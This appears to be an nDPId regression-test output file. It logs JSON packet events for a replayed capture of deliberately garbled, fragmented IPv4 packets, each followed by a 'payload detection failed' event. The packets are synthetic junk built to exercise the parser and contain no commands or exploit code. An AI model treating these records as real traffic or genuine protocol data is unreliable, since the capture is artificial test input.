+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346635,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346700,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346784,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 